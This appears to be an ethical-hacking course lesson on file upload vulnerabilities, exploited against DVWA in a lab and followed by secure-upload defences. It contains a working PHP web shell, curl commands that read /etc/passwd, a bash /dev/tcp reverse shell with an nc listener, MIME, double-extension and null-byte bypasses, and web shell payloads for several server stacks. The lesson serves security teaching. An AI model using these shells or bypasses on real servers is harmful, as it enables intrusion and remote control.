Ethical Hacking
File Upload Vulnerabilities
File upload functionality exists in almost every modern web application — profile pictures, document uploads, media imports. When the server does not properly validate what is being uploaded, an attacker can upload executable code instead of an image and access it through the browser, turning a legitimate feature into remote code execution.
The upload attack surface
A file upload vulnerability exists when three conditions align: the server accepts a file type it should not (a PHP file where only images are expected), the uploaded file is stored in a location reachable via URL, and the server executes the file's contents when it is accessed rather than serving it as a download. All three conditions must be true for the vulnerability to result in code execution.
The attack surface is broader than it appears. Inadequate validation, client-side-only filtering, and MIME type checking that trusts what the browser sends rather than the actual file content all create exploitable paths. Each filtering approach has specific bypass techniques — and understanding the bypass tells you what to look for when assessing an upload feature.
Validation approaches and their weaknesses
Client-side validation only
Trivially bypassedJavaScript running in the browser checks the file extension before submission. This provides zero security — the attacker simply intercepts the request in Burp after the client-side check passes and modifies the filename or content before it reaches the server. Alternatively, disabling JavaScript in the browser bypasses the check entirely. Client-side validation is a UX feature that prevents accidental incorrect uploads. It is not a security control.
Bypass: Rename the malicious file with an allowed extension (.jpg), let the client-side check pass, intercept in Burp, rename back to .php before forwarding. Or disable JavaScript entirely.
MIME type / Content-Type validation
Easily bypassedThe server checks the Content-Type header sent with the request — expecting image/jpeg and rejecting anything else. The Content-Type header is set by the browser — or in this case, by the attacker using Burp. Changing the Content-Type header of a PHP file upload from application/x-php to image/jpeg in Burp Repeater is a single-field change that defeats this validation entirely.
Bypass: Upload the PHP file, intercept in Burp, change Content-Type to image/jpeg, forward. The server sees a JPEG MIME type and accepts the PHP file.
File extension blacklisting
Often bypassableThe server maintains a list of blocked extensions — .php, .php3, .phtml. The weakness is that PHP has multiple valid extensions, servers can be configured to execute files based on patterns, and case sensitivity matters on some systems. A blacklist that blocks .php may permit .php5, .pHp, .phtml, or .php.jpg depending on the web server configuration. Blacklists require anticipating every possible variation — which is fundamentally the wrong approach.
Bypass: Try .php3, .php4, .php5, .phtml, .pHp, .PhP, .php.jpg (double extension). One of these may slip through the blacklist.
Magic bytes / file signature validation
Harder to bypassInstead of trusting the MIME type or extension, the server reads the first few bytes of the file — the magic bytes — and compares them against known file signatures. JPEG files begin with FF D8 FF. PNG files begin with 89 50 4E 47. A PHP file beginning with <?php does not match any legitimate image signature. This is significantly harder to bypass than extension or MIME checking — but still not sufficient alone if the uploaded file can be renamed to .php by an attacker.
Bypass: Prepend valid image magic bytes to the PHP payload. Create a file starting with FF D8 FF (JPEG header) followed by the PHP web shell code. The magic bytes check passes — the PHP interpreter ignores the leading bytes and executes the PHP code that follows.
Uploading a web shell through DVWA
DVWA's file upload module at security level Low performs no meaningful validation. Any file type is accepted. The upload directory is web-accessible. Uploaded PHP files are executed by the server. This is the worst-case configuration — all three conditions for code execution met simultaneously.
The scenario: You are testing the DVWA file upload functionality during an authorised web application assessment. Security level is set to Low. You want to demonstrate that the upload feature allows arbitrary code execution on the server.
# Step 1 — create a minimal PHP web shell
# This one-liner reads a command from the URL parameter 'cmd' and executes it
# system() runs the command and prints the output directly to the page
# This is sufficient for proof of concept — minimal code, clear demonstration
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
# Step 2 — upload the shell through the DVWA file upload form
# Navigate to: http://192.168.56.101/dvwa/vulnerabilities/upload/
# Click Browse → select /tmp/shell.php
# Click Upload
# The server should return the path where the file was stored
# Step 3 — access the uploaded shell and execute a command
# The upload path is typically /dvwa/hackable/uploads/shell.php
# Pass a command via the cmd parameter in the URL
# id confirms code execution and shows the web server's privilege level
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"
# Step 4 — escalate to reading sensitive files
# The web server process can read any file readable by www-data
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd"
# Step 5 — establish a reverse shell from the web shell
# Replace KALI_IP with your actual Kali address
# This escalates from simple command execution to an interactive shell
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/KALI_IP/4444+0>%261"
# On Kali — listener to catch the reverse shell
nc -lvp 4444
--- Upload response --- ../../hackable/uploads/shell.php succesfully uploaded! --- curl ?cmd=id --- uid=33(www-data) gid=33(www-data) groups=33(www-data) --- curl ?cmd=cat+/etc/passwd (first 3 lines) --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh --- Reverse shell caught on Kali --- connect to [192.168.56.102] from metasploitable [192.168.56.101] 49201 bash: no job control in this shell www-data@metasploitable:/var/www/dvwa/hackable/uploads$
Breaking it down:
Code execution runs as the www-data account — the user that Apache runs under. This is not root, but it is significant: www-data can read the entire web application including configuration files and database credentials, write to the web root, and potentially escalate further using the privilege escalation techniques from Section III. A web shell landing as www-data is a solid foothold that feeds directly into the post-exploitation phase.
/etc/passwd is world-readable on Linux — www-data can read it. This confirms file system access through the web shell and lists all local user accounts. More importantly, /etc/shadow — which contains hashed passwords — is only readable by root. Attempting to read it through the web shell will fail, confirming the current privilege level is www-data rather than root. That comparison itself is evidence worth documenting.
Bypassing Medium security — MIME type interception
DVWA Medium security adds a server-side MIME type check — it rejects uploads where the Content-Type is not image/jpeg or image/png. This stops the simple upload but falls to a single Burp interception. The bypass requires capturing the upload request and changing one header value before the server processes it.
# MIME type bypass using Burp Proxy intercept
# This workflow is done in the Burp GUI — documented here as steps
# Step 1 — set DVWA security to Medium
# Medium adds: if($_FILES['uploaded']['type'] != "image/jpeg") { reject }
# This checks the Content-Type header sent by the browser — NOT the file content
# Step 2 — enable Burp Proxy intercept
# Burp Proxy → Intercept → Intercept is ON
# Step 3 — submit shell.php through the upload form
# The browser sets Content-Type to application/x-php for a .php file
# Burp intercepts the request before it reaches the server
# Step 4 — in Burp's intercepted request, find and change this header:
# Content-Disposition: form-data; name="uploaded"; filename="shell.php"
# Content-Type: application/x-php <-- change this line
# Content-Type: image/jpeg <-- to this
# Step 5 — forward the modified request
# The server receives Content-Type: image/jpeg — passes the MIME check
# The filename is still shell.php — the server saves it as a PHP file
# The PHP interpreter executes it when accessed via URL
# Verify the bypass worked:
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"
# Alternative — use curl directly with the spoofed Content-Type
# -F sends a multipart form upload
# type=image/jpeg overrides the Content-Type for just this form field
curl -b "PHPSESSID=YOUR_SESSION_COOKIE; security=medium" \
-F "uploaded=@/tmp/shell.php;type=image/jpeg" \
-F "Upload=Upload" \
http://192.168.56.101/dvwa/vulnerabilities/upload/
--- MIME type check in Medium security source ---
if(($_FILES['uploaded']['type'] == "image/jpeg")
|| ($_FILES['uploaded']['type'] == "image/png")) {
// Accept file
} else {
// "Your image was not uploaded."
}
--- curl with spoofed Content-Type ---
../../hackable/uploads/shell.php succesfully uploaded!
--- Confirming execution after MIME bypass ---
curl ?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--- Bypass confirmed ---
Server validated Content-Type header (attacker-controlled)
File saved as shell.php and executed as PHP
Breaking it down:
PHP's $_FILES['uploaded']['type'] contains the Content-Type sent by the browser — which is exactly what Burp modified. The server code trusts this value completely. It is functionally identical to checking the Accept-Language header for file type validation — both are arbitrary strings sent by the client that carry no binding information about the actual file content. Any validation based on $_FILES['type'] alone is not meaningful server-side validation.
The curl approach with type=image/jpeg on the file field overrides the Content-Type for that specific multipart boundary — exactly what Burp does interactively. This makes the bypass scriptable and reproducible for the report. Documenting a finding as "intercepted in Burp, changed the header" is vague. Documenting the exact curl command that reproduces it gives the client's developers a precise test to run after applying their fix to confirm it works.
Double extension and null byte bypass techniques
Extension-based blacklists and whitelists create their own bypass opportunities. The way different components of the web stack interpret filenames creates gaps an attacker can exploit — particularly when the web application's validation logic sees a different filename than the web server uses for execution.
Double extension — shell.php.jpg
A filename like shell.php.jpg ends in .jpg — passing extension-based validation that only checks the last extension. On Apache servers configured to execute any file matching a PHP pattern anywhere in the filename, this file executes as PHP. The configuration required is AddHandler application/x-httpd-php .php which causes Apache to treat any filename containing .php as executable. This configuration is not default but appears in misconfigured shared hosting and legacy deployments.
cp /tmp/shell.php /tmp/shell.php.jpg
# Upload shell.php.jpg — passes .jpg extension check
# Access: /uploads/shell.php.jpg?cmd=id
# Works if Apache handles .php anywhere in the filename
Null byte injection — shell.php%00.jpg
In older PHP versions (below 5.3.4) and some C-based file handling code, a null byte (%00) terminates the string. A filename of shell.php%00.jpg appears to end in .jpg to PHP's file extension check — because PHP sees the full string including the null and everything after it. But when the file is saved to disk, the null byte terminates the filename — the file is saved as shell.php. The validation sees .jpg. The filesystem sees .php. This technique is largely patched in modern PHP but still appears in legacy applications on old PHP versions.
filename="shell.php%00.jpg"
# Validation sees: shell.php[null].jpg → ends in .jpg → passes
# Filesystem saves: shell.php (null terminates the name)
# Access: /uploads/shell.php?cmd=id
Magic bytes prepended to PHP — bypassing signature checks
For servers that validate file signatures (magic bytes), prepend the valid image signature bytes before the PHP code. The file starts with the expected JPEG or PNG header — passing the signature check — followed immediately by the PHP web shell. PHP parses from the first <?php tag onwards, ignoring the image header bytes. The file must still be saved with a PHP-executable extension for this to work.
printf '\xff\xd8\xff' > /tmp/magic_shell.php
echo '<?php system($_GET["cmd"]); ?>' >> /tmp/magic_shell.php
# The first 3 bytes match JPEG signature (FF D8 FF)
# PHP ignores them and executes from the <?php tag
Beyond PHP — other executable file types
PHP web shells are the most commonly demonstrated file upload exploitation technique — but the attack surface extends to whatever the server can execute. The specific file type depends on the server-side technology stack. Testing should adapt to the confirmed technology from the reconnaissance phase.
| Technology | Executable extensions | Minimal web shell payload |
|---|---|---|
| PHP | .php .php3 .php4 .php5 .phtml | <?php system($_GET["cmd"]); ?> |
| ASP.NET | .aspx .asp .ashx .asmx | <% Response.Write(CreateObject("Wscript.Shell").exec(...)) %> |
| JSP (Java) | .jsp .jspx | <%= Runtime.getRuntime().exec(request.getParameter("cmd")) %> |
| Node.js | .js (if exec'd server-side) | require('child_process').exec(req.query.cmd, callback) |
| Tomcat (Java) | .war (web archive) | Deploy via Tomcat Manager — contains JSP web shell |
Secure file upload — the complete defence
Secure file upload requires multiple controls applied together. No single check is sufficient — each approach has a bypass when used alone. The combination of controls eliminates the individual bypass techniques and makes exploitation significantly harder even if one layer is circumvented.
Extension whitelist — not blacklist
Maintain an explicit list of permitted extensions — jpg, png, gif, pdf — and reject everything not on the list. Blacklists fail when attackers find unlisted executable extensions. Whitelists fail only if an allowed extension is itself executable on the server — which is avoidable by design.
Server-side magic bytes validation
Validate the actual file signature in the uploaded data — not the MIME type header. Use a library like PHP's finfo_file() or Python's python-magic that reads the actual bytes rather than trusting client-supplied metadata. Combined with extension whitelisting, this defeats the MIME-type-spoofing bypass.
Rename files on upload — remove attacker control of the filename
Generate a random filename for every uploaded file — a UUID or a hash of the file content. Store the original name in the database for display purposes. The attacker loses control of the saved filename entirely, defeating double extension and null byte techniques. A file saved as 3f8a9b2c-4d7e-11ef.jpg cannot execute as PHP regardless of its content.
Store uploads outside the web root
Files stored in a directory outside the web root — not accessible directly via URL — cannot be accessed and executed through the browser even if a PHP file slips through all other validation. The application serves files through a controller that reads from the secure storage location and streams the contents as a download. Even a perfectly valid web shell stored outside the web root is completely harmless.
These four controls in combination eliminate every bypass technique covered in this lesson. Extension whitelisting prevents executable extensions. Magic bytes validation defeats MIME spoofing. Random renaming defeats double extension and null byte attacks. Storing outside the web root means even a bypassed upload cannot be accessed. Each control compensates for the others' potential gaps — the defence-in-depth principle applied to a single feature.
Teacher's Note: After uploading a web shell during an authorised assessment, remove it immediately once the proof-of-concept command has been executed and the output captured. A web shell left on a server after the engagement closes is an uncontrolled backdoor — anyone who discovers the URL can use it. Document the exact path where the shell was uploaded and confirm deletion before moving to the next test. The cleanup log for file upload findings should include: file created, path, time of creation, proof-of-concept command run, output captured, file deleted, time of deletion.
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 43
API Security
REST API testing, broken object level authorisation, excessive data exposure, mass assignment, SSRF through API endpoints, and JWT vulnerabilities.